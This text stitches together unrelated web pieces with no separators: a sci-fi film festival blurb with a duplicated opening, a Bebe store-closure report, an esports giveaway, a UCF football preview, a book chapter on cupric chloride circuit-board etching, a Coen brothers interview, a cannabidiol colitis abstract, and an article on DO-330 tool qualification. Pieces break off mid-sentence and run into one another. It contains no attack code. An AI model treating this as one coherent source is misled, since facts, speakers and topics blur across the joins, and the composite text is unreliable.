According to Dan, he started watching sci-fi with the classics: "My earliest recollections of science fiction were the classic films The Fly starring Vincent Price, Stanley Kubrick's 2001: A According to Dan, he started watching sci-fi with the classics: "My earliest recollections of science fiction were the classic films The Fly starring Vincent Price, Stanley Kubrick's 2001: A Space Odyssey and the original Invasion of the Body Snatchers." What does he recommend now? "For indie sci-fi, I'd say the films Pi, Primer and The Mist in the Palm Trees." Here are some preview images from (left to right) Reality+, Teleios, and Dryad:
The VR Films
NYSFFF is going to explore everything from space dramas to horror, but it's one thing to watch a movie—what about living it? According to Dan, the VR lineup this year is meant to allow fans to "experience these different worlds and mindsets." Some of the films to watch for in the VR block are:
Aldo Romero's The Probe (2016)
Ryan Hartsell's I'll Make You Bleed (2016)
Pierre Zandrowicz's I, Philip (2016)
Ben Leonberg's Dead Head (2016)
Philipp Maas and Dominik Stockhausen's Sonar (2014)Clothing retailer Bebe to close all its stores by the end of May
Clothing retail company Bebe Stores Inc., based in Brisbane, California, announced on Friday that it is planning to close all of its stores in less than six weeks, by the end of May 2017.
The news comes not long after Bloomberg published a report stating that the company would be reworking its business plan to make a transition into solely an online brand in order to avoid filing for bankruptcy. It has recorded four years of profit loss.
The company will be liquidating its stock at its roughly 180 brick and mortar locations around the U.S., according to a U.S. Securities and Exchange Commission filing.
Well-known U.S. companies closing their locations in 2017. Well-known U.S. companies closing their locations in 2017. Photo: Mysa.com Photo: Mysa.com Image 1 of / 25 Caption Close |
their events. It's a perfect fit"
In honor of the partnership, NEEDforSEAT® have set up a social media competition. Just head over to the ESL Twitter page and give them a follow then retweet the following:
.@NEEDforSEAT is ESL's newest global partner and will be at the #IEM World Championship! Follow and RT to win one of their amazing chairs! — ESL (@ESL) March 8, 2014
The winner will be announced on Tuesday 11th March and will earn themselves a seat of their choice from the NEEDforSEAT® online store. Best of luck!
Share this article:The UCF Knights are No. 48 in the Orlando Sentinel 2017 preseason college football rankings. The Knights lost key players on defense, but the unit will stay play a key role in the team’s push for an American Athletic Conference East Division title.
Our ranking: No. 48
Coach: Scott Frost (6-7, entering second season; 6-7 overall)
2016 record: 6-7, 4-4 in American Athletic Conference, finished third in East Division
Look back: The only place left for the UCF football program to go was up in 2016 after going winless in2015. New head coach Scott Frost found success, installing a new up tempo offense and revamped defense inspired, in part, by his tenure as Oregon’s offensive coordinator.
The path to success was bumpier for the Knights’ offense, led by true freshman QB McKenzie Milton, but the defense shined and redshirt junior LB Shaquem Griffin was named the league’s defensive player of the year. Frost led UCF to the AutoNation Cure Bowl, where the team suffered a disappointing 31-13 loss to Arkansas State in Orlando.
Offensive starters returning: 9
Offensive starters lost: 2
Defensive starters returning: 4
Defensive starters lost: 7
Key losses: LB Mark Rucker, QB Justin Holman, DB Shaquill Griffin, DB Drico Johnson
Top returnees: DL Jamiyus Pittman, DL Trysten Hill, LB Shaquem Griffin, WR Tre’Quan Smith
Strengths: Defensive coordinator Erik Chinander transformed a defense that finished No. 113 nationally in 2015 into a unit that ranked No. 39 in 2016 while largely using the same group of players. Seven starters from last year’s team graduated, but the Knights return a vocal leader in Shaquem Griffin. He was named the Athletic Conference Defensive Player of the Year after leading the league with 11 sacks. Griffin also finished second on the team with 85 tackles. The entire starting defensive line also returns, with sophomore Trysten Hill switching to nose guard and seniors Jamiyus Pittman and Tony Guerad anchoring the edges of the base 3-4 defense.
UCF also returns a loaded group of talented running backs in Jawon Hamilton, Taj McGowan and Adrian Killins. They’ll be joined by newcomer Otis Anderson.
Weaknesses: Milton was thrown into the fire early as a true freshman leading UCF’s offense early after starter Justin Holman suffered a hamstring injury. The Hawaii native struggled at times as a rookie working with a battered offensive line and young skill players. Milton passed for 1,983 yards, 10 touchdowns and seven interceptions. The Knights won’t have much depth behind Milton, entering the summer with one additional scholarship quarterback in Pete DiNovo. Frost signed two quarterbacks in the spring — Noah Vedral and Darriel Mack — who are expected to compete for immediate playing time. Vedral and Mack arrived on campus during the summer and have been working to quickly learn the nuances of the quarterback job.
While UCF will be counting on some newcomers to play early, Frost said he’s pleased with the options on both sides of the ball.
“We gotta keep building depth and getting the next freshmen class in here and they'll obviously help with depth, too, “ Frost said. “But I think we'll be a deeper team at most positions than we were last year.”
Outlook: If the UCF offensive line and quarterback play improve, the team could challenge rival USF for an AAC East Division title. While Frost is hoping to show off more elements of his UCFast offense, the more experienced defense will still likely play the biggest role in the team’s success.
2017 Schedule
Aug. 31 FIU
Sept. 9 Memphis
Sept. 16 Georgia Tech
Sept. 23 at Maryland
Sept. 30 Maine
Oct. 7 at Cincinnati
Oct. 14 East Carolina
Oct. 21 at Navy
Nov. 4 at SMU
Nov. 11 UConn
Nov. 18 at Temple
Nov. 24 USF
Previous RankingsEtching Circuit Boards Using Cupric Chloride and Acid Solution
The following information was extracted from portions of Chapter 6 in the book "Electronic Prototype Construction", authored by Stephen D. Kasten, Howard W. Sam & Co., Inc, 1983. The book is no longer in print. This information is presented on this web page with permission of the author, given to the web page owner, Rex. I have posted this information because of interest in this method after my posting about it in the newsgroup, rec.radio.amateur.homebrew in about 1997.
I (Rex) have finally gotten around trying these methods after meaning to for years. For me, the etching process was rather slow, but it did turn out fine.
My thanks to the author Stephen Kasten for allowing me to post this information.
Here is a portion of a note received from the author:
Rex - Thanks for your note... regarding use and maintenance of the cupric chloride etching bath. It is still the bath that I use myself because it is so easy to regenerate and never has to be thrown out - it just keeps growing! Of all the information in the 1983 book, the section on cupric chloride etching generated the most interest from readers I have heard from. P.S.: One new piece of information that I have found useful is that instead of using air bubbles to regenerate cupric chloride from the cuprous form, it is often easier to throw in some dilute hydrogen peroxide, which also results in no by-products., - Steve
From the book...
CUPRIC CHLORIDE ETCHANT · Cupric chloride solutions are very similar to ferric chloride as etchants, but the cupric system offers some distinct advantages in medium volume PCB prototype applications as follows:
Simple regeneration of spent solution No waste disposal problems Lower cost Simple process control No sludging
At the same time, the desirable properties of ferric chloride are retained: high capacity for dissolved copper, and fast etch rates with suitable techniques, such as bubble, splash, or spray etching. One-ounce copper boards can be completely etched in less than one minute using cupric chloride at 49-54°C (120-130°F) in spray etching equipment. At these high temperatures the problems of HCl fumes and photo resist attack become more likely, but the metal chloride etchants can be used at room temperature as well if a fume hood or other exhaust system is not available; typical processing time for 1-ounce copper boards in a cupric chloride bubble etching tank at 25°C (77°F) is 20 minutes.
Formulation and Chemistry · The following formulation is recommended for a cupric chloride etching bath:
Cupric chloride, solid (CuCl 2 · 2 H 2 O) 200 g Hydrochloric acid, conc. (HCl, 37.5%) 100 g Water, to make 1000 mL
Unless this bath becomes contaminated with undesirable materials (such as organic solvents, which can soften resist coatings), it will never require waste disposal. The reasons will be apparent later during the discussion of chemical control and regeneration.
Cupric chloride etches copper metal through the following chemical reaction:
CuCl 2 + Cu -> Cu 2 Cl 2
The initial solution color is a bright emerald green, and it turns to murky olive-brown as cuprous chloride is generated during etching. The cuprous chloride product is not as soluble as cupric chloride, so excess chloride ion is added to the bath to help complex and dissolve the cuprous form, preventing sludging. Sodium chloride (NaCl), ammonium chloride (NH 4 Cl), and hydrochloric acid (HCl) are commonly used as the complexing agents. HCl is recommended because it also serves to reverse the etching reaction through air oxidation:
2 Cu 2 Cl 2 + 4 HCl + 0 2 -> 4 CuCl 2 + 2 H 2 O
This air oxidation reaction is slow because oxygen is fairly insoluble in the etchant bath, but an air regeneration approach is ideally suited for bubble etching in a small laboratory operation. Since the bath is already equipped with an air inlet to generate bubbles, it is only necessary after etching to continue passing air through the solution until its color changes back to the characteristic bright green of cupric chloride.
Spray etching is a very effective commercial technique with cupric chloride because the etchant is partially rejuvenated when it mixes with air as a fine mist, activating the solution and decreasing etch time. It should be noted that in commercial high-volume applications regeneration of cupric chloride by air oxidation is too slow to be completely practical, so faster methods are used to reverse the reaction, such as direct chlorination, electrolytic action, or intense oxidation with hydrogen peroxide or sodium hypochlorite.
Air Bubble Etching · Etching with air bubbles is an ideal approach using cupric chloride, with the air providing several improvements over simple immersion in a bath. The action of swarms of tiny air bubbles surrounding a circuit board results in faster, even etching because agitation is increased, oxidation is enhanced, and the etchant is continuously converted back to its active chemical form. A practical air bubble tank can be easily constructed with the air source being a small laboratory pump, a large fish tank aerator, or even a vacuum cleaner with the hose reversed. A recommended approach is to generate an even flow of bubbles rising from the bottom of a tank, and to float the circuit board on top of the solution, allowing air bubbles to support and surround it. This approach is consistent with the general principle maintained throughout this book that prototype PCBs are most conveniently etched one side at a time. The mechanical action of air bubbles continuously rising to meet the copper surface is in effect very similar to spray etching, the optimum commercial approach.
A practical cupric chloride etching tank can be made from a medium-size plastic ice chest, as shown in Fig. 6-4. The plastic material is compatible with the etchant solution, the container prevents evaporation, the drain plug is useful, and the lid can be lowered during etching to contain mist and acid fumes. If an immersion heater is added to bring the solution to 38°C (100 °F) for fast etching, the heater and thermostat must be constructed of chemically resistant material, such as quartz or titanium. Stainless steel does not stand up to cupric chloride. As shown in Fig. 6-4, the author's etching tank is used inside an old chest freezer that provides even greater containment for the corrosive etchant, and this allows the bath to be used in a workshop area without the benefit of a fume hood. The plastic walls of most freezers are acid resistant, and a large chest freezer makes an ideal sink for containing rinse trays, acid dip tanks, dirty gloves, and other potentially corrosive items.
An internal view of the air bubble tank is shown in Fig. 6-5. In order to generate an even flow of small air bubbles, coarse fritted glass air bubblers (gas dispersion tubes) are spaced evenly on the bottom of the tank and connected with Tygon tubing and plastic "T" connectors. The tubing network is brought out of the tank in one spot as an air inlet,. where a low pressure (2-5 Ibs or 0.9-2.3 kg) air supply is connected during actual etching. The full tank is shown in operation in Fig. 6-6, illustrating the pattern of air bubbles swarming to the surface. Large circuit boards are easily floated in this tank, but smaller boards may tend to sink and must be supported on some plastic rails, or attached to larger pieces of scrap board. An inexpensive aeration system can be assembled from materials available at pet stores for use in fish tanks, such as sintered glass tubes and a small air compressor.
An alternate approach to generating air bubbles in an etching tank is to line the bottom with coils of plastic tubing connected to an air inlet, and punch tiny holes in the tubing with a miniature drill or with a red-hot needle. The overall objective is to get an even flow of small bubbles throughout the tank so that all areas of a floated circuit board will receive about the same etch action. Some laboratories use a deep, narrow tank instead of a wide, shallow container; in this case, the work is suspended vertically in the tank and air bubbles travel upwards across both faces of the board. Vertical air bubble etching tends to produce less even etching because the bubbles do not encounter the work uniformly. It is usually necessary to rotate circuit boards periodically on all four edges to produce evenly etched results in such a tank.
Cupric Chloride Bath Maintenance · The cupric chloride bath is initially prepared by mixing ingredients in the proportions previously given. The resulting solution has three important parameters that can be adjusted to maintain the bath at its optimum operating conditions: color, density, and HCl content. The proper control sequence consists of the following steps.
Air-oxidize etchant to a bright green color Measure and adjust density to 1.17 g/mL Measure acid content by titration Adjust acid level with concentrated HCl
Color (Oxidation State) -- Bright emerald green is characteristic of acidic cupric chloride solutions. If any cuprous chloride is present, the color will become a darker olive-brown, but this copper form will always revert to its active cupric form with sufficient exposure to air bubbles under acidic conditions.
Density (Copper Content) -- The initial operating density (specific gravity) is 1.17 grams/mL. Density will gradually increase as copper dissolves into solution during etching, and as water evaporates. Etch rate will slow down and sludge may form with increasing density, so density must be monitored and periodically adjusted by adding water to the tank. A convenient device for measuring solution density is the hydrometer shown in Fig. 6-7. This device is available from scientific supply houses and operates on the same flotation principle used in common sulfuric acid battery fluid checkers. The hydrometer shown in the figure has a narrow, expanded density range from 1.15 to 1.25 g/mL, and is only 6 inches (152 mm) long; it can be floated in the etching bath, and the flotation level indicates density directly. If the bath is too shallow, a long narrow container must be used to hold a solution sample while the hydrometer is floated.
When density adjustments are made to cupric chloride etchant, the following equation can be used to add water back to the bath for dilution purposes, with the standard density objective being a specific gravity of 1.17 g/mL:
Y = X(d x - 1.17) / 0.17
where,
X is volume of present solution at (measured) density d x, Y is volume of water to be added.
This dilution approach requires that the bath volume be easily measured, using level marks or a calibrated dip stick.
Acid Concentration (HCl Content) -- The initial hydrochloric acid concentration should be in the range of 3.5 to 4.0%, or 1.1 to 1.3 Molar. If the acid concentration gets much higher, problems such as resist degradation and excessive fuming will be observed. A lower acid level is not intolerable, but it will result in slower etch rates and a more difficult regeneration of cupric chloride from the cuprous form; sludging may also occur, because HCl helps dissolve etch by-products through complexation.
Therefore, an analytical method must be available to periodically monitor HCl concentration. The simplest approach is by titration, a technique easily accomplished manually with the aid of a few pieces of volumetric glassware. Note that acid concentration should not be measured before the etchant is completely converted to its oxidized bright green form through air bubble agitation, because acid is consumed in this regeneration process.
An acid-base titration requires that a measured amount of acid sample be mixed with a suitable indicator that changes color near the neutral pH region. A base solution of known composition is then slowly added to the acid with mixing until the indicator just changes color, showing that the acid has been neutralized. The initial acid concentration can be directly calculated from the volume of base consumed. Since our HCl analysis does not require extreme accuracy (+10% is fine), the titration procedure should not take more than 5-10 minutes and does not require extreme care. The following equipment and materials are necessary, and are pictured in Fig. 6-8:
1.0 mL pipet -- This calibrated glass tube has a mark to show when exactly 1.0 mL of liquid has been drawn in by suction. Rubber suction bulb -- Never use your mouth to fill a pipet with chemical solutions; the risk of pulling material into your mouth is not worth taking. 50 mL beaker. Magnetic stirring apparatus -- The solution can also be stirred manually during titration, but a laboratory stirrer using a magnetic bar provides a more convenient mixing system. 50 mL buret -- This is a long, thin, calibrated glass tube that is filled with base solution (titrant). The base is then dripped into the acid sample through a bottom stopcock, and the buret markings allow the volume of base consumed to be measured. Buret stand and clamp -- The buret must be clamped in a vertical position for accurate titrant delivery. Indicator solution -- Recommended indicator is 0.2% Bromphenol Blue in isopropyl alcohol; 3-4 drops are added to each 1 mL acid sample. Base titrant -- Sodium hydroxide, 0.10 Molar (0.4%). This standard titrant solution can be prepared by dissolving 4.0 g of solid sodium hydroxide pellets in one liter of water.
The titration procedure consists of the following steps:
Measure out 1.0 mL of etchant solution with a pipet and drain it into a 50 mL beaker containing a small magnetic stirring bar. Dilute this sample with 20 mL of water. Fill a clean 50 mL buret with 0.1 Molar sodium hydroxide titrant and note the starting mark. Add 3-4 drops of indicator solution to the sample and place it on the magnetic stirrer base underneath the buret. The initial solution color should be yellow-green. Add titrant to the stirring solution while observing the color. Slow down this addition as the endpoint approaches, as evidenced by the formation of blue color in the region where the drops hit. Neutralization is complete when the solution becomes completely pale blue in color. Just one or two drops of titrant may be enough to cause the color to change at the endpoint. Note the amount of titrant consumed. The etchant is calculated to contain 0.31% HCl per mL of titrant consumed. Therefore, a fresh etchant solution containing 3.7% HCl would require 12.0 mL of titrant to reach the endpoint. As an example, assume that 8.0 mL of titrant was consumed for an unknown etchant sample. The acid concentration of the etchant would then be 8.0 x 0.31% = 2.5% HCl, which is low.
HCl Adjustment -- Acid adjustment should be made as the last step in process control, because the addition of concentrated HCl (37.5%) will not appreciably change the density of the etchant; concentrated HCl has a density of 1.19 g/mL, very close to that of etchant. The actual adjustment is made as follows. Assume that the acid concentration is a low 2.5% from the titration test. We have three gallons of etchant in the tank and want to bring the acid level up to 3.7% HCl. The necessary amount of concentrated (37.5%) HCl to be added is calculated from the following equation:
Y = X(3.7-A) / (37.5 - 3.7)
where,
X is initial etchant volume, A is initial etchant HCl concentration in %, Y is volume of 37.5% HCl to be added.
For the 3 gallon @ 2.5% example, the amount of acid to be added would be:
3(3.7-2.5) / (37.5-3.7) = 0.1 gallon, or 450 mL
Wear rubber gloves and safety glasses, and be extremely careful when handling concentrated acid. Never pour any material directly into concentrated acid, which can cause splattering; always add the acid to the other material. A well-ventilated area is necessary to avoid acid fumes, which are both a corrosion and a breathing hazard.
Etchant Disposal · The interesting characteristics of cupric chloride etchant result in the fact that the bath will never contain materials other than cupric chloride, HCl, and water following air oxidation; this statement assumes that no significant contamination occurs, and no metals other than copper are etched. Therefore, waste etchant is never generated. The solution volume will gradually grow as periodic water and acid adjustments are made to counter the increasing copper content, a result of etching circuit boards. Excess etchant can be sold or donated to other persons interested in printed circuit board fabrication. If the bath becomes contaminated with undesirable materials (such as organic solvents) it must be disposed of using the same precautions as with ferric chloride. Neutralization and mixing with concrete or mortar mix is the safest way to render a chemical etchant immobile for landfill.
*** The following section is repeated from an earlier section of the book which covered using FeCl as an etchant. This is repeated here for those who prefer to used FeCl, and also because this section gives a bit more detail on the subject. ***
Etchant Disposal · Spent ferric chloride etchant is not easily regenerated chemically because of the buildup of sludge, and because the copper and iron ions are difficult to separate. However, disposal is a difficult problem and accounts for the growing unpopularity of this solution in industrial applications. Metal drain systems will be quickly attacked by FeCl and its fumes, the copper content will create environmental problems and sewer lines may become clogged with sludge when ferric chloride combines with alkaline materials, such as caustic drain cleaner. These problems explain why ferric chloride etchant is only recommended for occasional use. On a small scale, exhausted etchant may be properly disposed of by neutralizing with caustic or sodium carbonate, and mixing with a suitable amount of concrete or mortar mix. After the mass hardens, it can be safely thrown in a landfill dump with the etchant converted to an immobile form.
Post-Cleaning · As with ferric chloride, cupric chloride will leave undesirable deposits on circuit board surfaces following etching. The most common residue is cuprous hydroxide, which is water-insoluble and appears as a yellow film on laminate surfaces. Cuprous chloride can also appear as a white residue if the etchant is low in acid content. Both of these contaminants are efficiently removed by soaking the board in 5% HCl following etching and resist stripping, and then rinsing well under running water.
ETCHING PROBLEMS · Various etching problems have been noted throughout the chapter, but the most common problems will be summarized in this section, together with possible causes and solutions. It will be assumed that KPR 3 photo resist is used for image transfer, and that cupric chloride solution is used for bubble etching.
Resist · Resist peels, degrades, or otherwise breaks Bown during etching -- this is usually due to improper copper surface cleaning prior to photo resist coating, resulting in poor adhesion of the resist. Poor adhesion can also be due to lack of a post-bake step for the final resist coating. Some other possible causes for resist degradation are too thin of a coating, etchant temperature too high, acid concentration too high, excessively long etch times, and the presence of solvent in the etching tank.
Long Etch Times · Exhaustion of the bath is the most likely reason for long etch times, requiring chemical rejuvenation or etchant replacement. If etchant becomes too concentrated due to water evaporation, etch time will also increase; a density measurement will reveal this condition. Low HCl acid concentration is another process control situation that results in long etch times. Assuming that the bath chemistry is properly balanced, etching time can usually be shortened by increasing agitation and by raising the operating temperature of the bath.
Uneven Etching · Uneven etching is illustrated in Fig. 6-9 with a partially etched board that has some areas completely resolved, while other areas (light-colored) contain substantial amounts of copper yet to be removed. Uniform agitation will prevent uneven etching, and this is the reason why an even pattern of air bubbles should be generated in the bubble etching tank. If certain areas of the bath are observed to produce consistently faster etch action than others, it may still be possible to obtain overall even results by moving the board around in the solution every few minutes.
The situation shown in Fig. 6-9 is undesirable because it requires that some areas of the board be exposed to etchant longer than necessary, causing pattern undercut and resist degradation. Unevenness in etching will always occur to some extent. For example, board edges and areas with many closely spaced traces will generally etch faster than open copper areas. However, as a general rule, once etchant breaks through to the PCB laminate in one spot, the rest of the board should be completely etched within an equal additional time period.
Etchant Does Not Attack Copper · Etchant does not attack copper in some areas where it should -- the culprit is usually a thin film of photo resist or dye scum remaining after image development. Rubbing the board with a soft cloth soaked in isopropyl alcohol may remove the offending film, but this may not help if the pattern has been well-baked. In such a case, it will be necessary to remove the board from the etching bath, wash and dry it, and scrape off the undesirable scum using a razor knife or other sharp metal object. Very thin films of photo resist may not be noticed after dyeing the resist pattern, because this coating is not thick enough to retain dye. Therefore, it is good practice to stop and examine all circuit boards after the first minute of etching; copper areas that are properly attacked will change from shiny bright to dull reddish-brown in appearance.
Excessive Undercut · Pattern undercut occurs due to lateral etch action instead of the desired perpendicular attack. Long etch times in an exhausted bath tend to promote this problem. Undercut is minimized by fast etching and good solution agitation at the surface of the board. Spray etching is the optimum method to avoid undercut because it produces perpendicular etch action and fast results. Bubble etching is also a significant improvement over simple immersion in a solution, which can produce almost as much lateral as perpendicular attack.
Sludging in the Etch Tank · Sludging in the etch tank should not ordinarily occur with cupric chloride solutions containing excess chloride ion in the form of HCl. Some users add 10% sodium chloride or ammonium chloride to help complex and dissolve cuprous chloride solids. Sludge will precipitate if the bath density becomes too high, however; the presence of solids interferes with etch action and leaves residue on the surfaces of the finished board.
Corrosion of Circuit Board Traces · Extensive copper corrosion is almost always a result of poor surface cleaning following PCB etching. Etch undercut promotes trace corrosion because it produces nooks and crannies which retain etchant residues. To prevent this problem (which shows up as discoloration at the edges of metal traces) use HCl at 5% concentration with steel wool scrubbing. When acid is used for cleaning, it must also be completely removed with a good water wash, because mineral acid will attack solder joints. Even properly cleaned copper circuit traces will eventually discolor through air oxidation, making the metal surfaces difficult to solder. This is the main reason that a final solder coating should always be applied to copper PCBs, as detailed in Chapter 7.Ethan and Joel Coen discuss a scene with Hailee Steinfeld on the set of True Grit. Photo by Wilson Webb/© 2010 Paramount Pictures.
Since the release of its electrifying trailers, True Grit has been one of the most hotly anticipated releases of the year. The Coen brothers long ago ascended from enfants quirkee of indie cinema to preeminent filmmakers of their generation, and their take on a Western promised an intriguing cinematic proposition—as well as an instant Oscar contender. Given their penchant for existential endings (see: No Country for Old Men and A Serious Man), you might have expected the Brothers Coen to subvert the genre, like they subvert everything else, and turn in another disquisition on the cosmic arbitrariness of life. Instead, just when you expect a curveball, they throw a 99-M.P.H. fastball right over the plate. Judging from their reactions, critics and bloggers expecting No Country for Old Men 2: Old Timey Edition were slightly flummoxed after the first screenings. True Grit turned out to be a beautiful and soul-satisfying old-fashioned adventure story, one that lulls you in with laughter and goofy charm before it sneaks up and smacks you upside the head with its potent, poetic lyricism. Little Gold Men had the good fortune to catch up with the Coens to see if they’re getting to be sentimental softies as they age (not quite), hear about the long search for Hailee Steinfeld, and figure out what’s next for them: outer space, a dog, or Henry Kissinger.John Lopez: I thought the film was beautiful, but so markedly different from any of your other films. It felt like an old leather-bound kid’s adventure novel, but with more hangings.
Joel: Yeah, that dovetails with our way of thinking about it. In fact, people [asked], “How does it feel to do a Western?” When we read the book, it was more about struggling to fit it into this young-adult adventure genre than a Western, per se. It happens to take place in the West in 1878, but the way we thought about it was more storybook-like.
What’s neat is that the story starts off fun and funny, and then becomes almost poetic. The way it ends is almost happy. I’m trying to think of the right word—“heroic”?
Yeah, it’s cornier. Well, corny’s not a dirty word for us either. When you’re talking about a young-adult adventure story, there’s something very simple and elemental about those kinds of stories. You don’t want to change that. It’s what’s compelling about them as stories. It’s where they get their power.
I know the word I’m looking for: poignant.
Ethan: That’s good, that’s the ambition. That’s in the book; that’s what we wanted to do.
Do you think your attitudes and outlook have changed since Blood Simple?
Maybe. I don’t know that this would have appealed to us, or certainly this much, when we were doing Blood Simple.
Joel: It’s hard to say. Someone asked us with the last movie [A Serious Man] if we would have done that 20 years earlier, and the honest answer is probably not. It probably wouldn’t have been so interesting to us to think about the place we grew up in. We were too close to it at that point. When you’re in your mid-20s, you’re not that interested in thinking back about what it was like when you were 16. But it’s more interesting if you’re 50.
Ethan: Even this movie, there’s the frame: it’s retrospective. It’s more interesting as you get older. It’s told from the point of view of an older person, she’s thinking about what it was like.
Yet, it feels like she’s always been that way; she doesn’t so much change, as develop.
That’s kind of what funny about her character, her matter-of-fact nature.
Joel: The really great conceit of the novel is that this this older woman was fully formed at 14.
Ethan: It’s funny you get this voice of this starchy old lady, and she’s talking about when she’s 14, but even then she was a starchy old lady.
Was it hard to get that concept across to Hailee, who’s definitely not a starchy old maid?
It wasn’t hard to get Hailee to do it, but it was hard to find an actor who was capable of it, which Hailee was.
Joel: She had no problem doing the material; it was just a question of who was going to do the material.
I read that you really scoured the planet.
Ethan: Yes. My God. Many, many months. And not us so much as a couple of casting people who went all over the country seeing thousands of videos.
Joel: (Chuckles.) It was such a thankless job. We had Rachel Tenner, who’s a great casting person we’ve used on many movies along with Ellen Chenoweth. She worked with Ellen on A Serious Man and found those kids. She went from Little Rock to Mobile to Lubbock. She was all over the South, open-call casting, thousands and thousands of kids, and dutifully following through on every lead.
Ethan: We’d go into the office and look at the tapes, and they were almost always almost all terrible.
Joel: And we were only looking at the cream of the crop; she saw hundreds and hundreds more. Then we end up casting a girl from L.A.
You thought you might find a diamond in the rough in America’s Heartland?
It’s not like Hailee is a seasoned pro. It’s just as likely you might have found her in Mobile. She just happened to be in L.A. It’s just one of those little ironies.
When you saw Hailee, did you know right away, this is the girl?
Ethan: Well, we saw a tape of Hailee a week or so before we met her and our reaction to the tape was she was one of the very, very few who could just do the language, which was the washout point for most of the girls. Then, she was totally self-possessed and seemed to understand the character, and possibly too good to be true. So we went to L.A. and met her. Actually Jeff [Bridges] was there—she did the scene with Jeff, Dakin Matthews, and Barry Pepper.
Joel: Once we saw her in the room doing the scenes with the other actors, it was pretty clear.
Then you threw her on a horse crossing a river—by the way, how did you do that?
Ethan: There’s a double on a horse. There’s Hailee on a mechanical horse. There’s some computer enhancement. There’s real Hailee on real horse going towards the water—
Joel: And an animatronic horse head, which you see very little of, because the camera’s usually moving. Then, we had a fantastic young woman stunt rider who actually swam these horses across the river.
Ethan: We had several takes, including one horse totally spooked going into the water, which actually ended up being the most useful footage, because it was the most accurate.
Joel: It really was. We would have been screwed if that horse hadn’t misbehaved. I have to say that wasn’t the easiest sequence to shoot or put together—I wouldn’t care to shoot that again, or cut it.
So, what’s next? You guys are always switching genres, what’s left to tackle?
We haven’t done a dog movie. Or an outer-space movie.
I can’t tell which I’d rather see. I was looking at your work, and I realized you could almost teach a 20th-century U.S. history course with your movies, except you haven’t done the 70s—like a 70s political thriller.
We did a later political thriller. Not in the 70s. That would be interesting, actually.
Ethan: We have a Cold War movie.
Joel: That we actually wanted to have introduced by Henry Kissinger. We thought, a good way to set this up, because kids don’t know much about the Cold War now, would be to have Henry Kissinger in a book-lined study, introducing the story.
Have you gotten in touch with him?
Ethan: No, Henry’s hard to get to.
Joel: I’m not sure if Henry would be interested.
You never know; he might be.
You’re right, he might be. We should shoot that, just get that in there.Enteric glial cells (EGC) actively mediate acute and chronic inflammation in the gut; EGC proliferate and release neurotrophins, growth factors, and pro-inflammatory cytokines which, in turn, may amplify the immune response, representing a very important link between the nervous and immune systems in the intestine. Cannabidiol (CBD) is an interesting compound because of its ability to control reactive gliosis in the CNS, without any unwanted psychotropic effects. Therefore the rationale of our study was to investigate the effect of CBD on intestinal biopsies from patients with ulcerative colitis (UC) and from intestinal segments of mice with LPS-induced intestinal inflammation. CBD markedly counteracted reactive enteric gliosis in LPS-mice trough the massive reduction of astroglial signalling neurotrophin S100B. Histological, biochemical and immunohistochemical data demonstrated that S100B decrease was associated with a considerable decrease in mast cell and macrophages in the intestine of LPS-treated mice after CBD treatment. Moreover the treatment of LPS-mice with CBD reduced TNF-α expression and the presence of cleaved caspase-3. Similar results were obtained in ex vivo cultured human derived colonic biopsies. In biopsies of UC patients, both during active inflammation and in remission stimulated with LPS+INF-γ, an increased glial cell activation and intestinal damage were evidenced. CBD reduced the expression of S100B and iNOS proteins in the human biopsies confirming its well documented effect in septic mice |
qualification for a tool – its Tool Qualification Level (TQL) – depends on its Criterion and on the Software Level of the software that the tool is used for, as shown in Table 1. The TQL ranges from 5 (comparable to a DO-178B verification tool) to 1 (similar to Software Level A). The activities and data items associated with each TQL are defined in a separate document, DO-330, with the same structure as DO-178C. DO-330 provides comprehensive guidance for tool qualification and recognizes the differences between the execution environments for the airborne software and the tool.
DO-330 explicitly covers the usage of previously qualified tools. In brief, the reuse of a previously qualified tool is allowed as long as the developer can demonstrate, through a change impact analysis, that the tool still complies with its TQL requirements despite any changes in the operational environment or to the tool itself.
Reuse of previously qualified tools
The ability to reuse, or easily adapt, the qualification artifacts for a previously qualified tool is especially important. DO-178B provided no explicit guidance here. Tool qualification that was performed for one system would need to be repeated for any new system or if any aspect of the tool or environment changed. As a result, a project manager would commonly choose the operational environment and tools at an early stage, and then commit to these versions so that the tool qualification artifacts could be used during final system certification. This is sometimes referred to as the “big freeze,” where the environment and tools are locked in early.
DO-330 addresses these issues. Specific guidance for previously qualified tools allows reuse of the qualification artifacts as long as nothing has changed that would affect qualification. It considers three scenarios:
Reuse of a previously qualified tool without change – An example is when a tool is used for related projects or on multiple phases of an existing project. The developer needs to identify the approach and rationale in the plans.
Changes to the tool operational environment – The developer needs to update one or more of the plans, but the bulk of the original qualification artifacts may be reused as is. Only the updated artifacts related to the operational environment need to be reviewed by the certification authority.
Changes to the tool itself – A change impact analysis has to be provided, but tool requalification still has a reduced cost, essentially only requiring activities associated with aspects that have changed or are affected by the change. The key is to be able to exactly determine and specify what has changed and what these changes impact, or perhaps more importantly, what they do not impact.
Agile requalification
Based on the tool qualification guidance – either from DO-178B or from DO-178C and DO-330 – it is possible to define a framework for tracking the changes to a tool or its operational environment and for automatically initiating the tool qualification activities triggered by the changes.
For example, a tool can be initially developed and qualified based on the objectives defined in DO-178C and DO-330. The full tool development life-cycle processes and their associated qualification artifacts can be captured and maintained in a Configuration Management (CM) system, including all dependence relationships (see Figure 1). The core CM system allows basic regeneration of all qualification data and artifacts needed to reproduce a tool qualification. The full structure allows impact and change analysis. In this way any change to the tool’s operational environment or to the tool itself can be tracked. Most importantly, the structure will clearly show which parts of the tool and its artifacts are not affected and thus can remain unchanged and retain their previous review and qualification readiness.
Transitioning to the new qualification guidance
DO-178B is effectively a subset of DO-178C. Thus, a project can continue with the development and certification plans established for DO-178B while migrating chosen portions to DO-178C, for example, to exploit the tool qualification objectives in DO-330. Therefore, both existing DO-178B projects and new DO-178C projects can take advantage of DO-330’s cost-effective guidance on tool qualification and requalification.
The AdaCore Qualifying Machine framework[4], an in-progress implementation of the agile technique described in the previous section, supports this approach. It can help projects avoid the “big freeze,” so that tools and development environments can evolve smoothly. Tools may be upgraded to newer versions as updates become available, without the risk of losing the tool qualification required for system certification.
References:
[1] RTCA SC-167/EUROCAE WG-12. RTCA/DO-178B – Software Considerations in Airborne Systems and Equipment Certification, December 1992.
[2] RTCA/DO-178C – Software Considerations in Airborne Systems and Equipment Certification; publication expected in 2012.
[3] RTCA/DO-330 – Software Tool Qualification Considerations; publication expected in 2012.
[4] www.open-do.org/projects/qualifying-machine
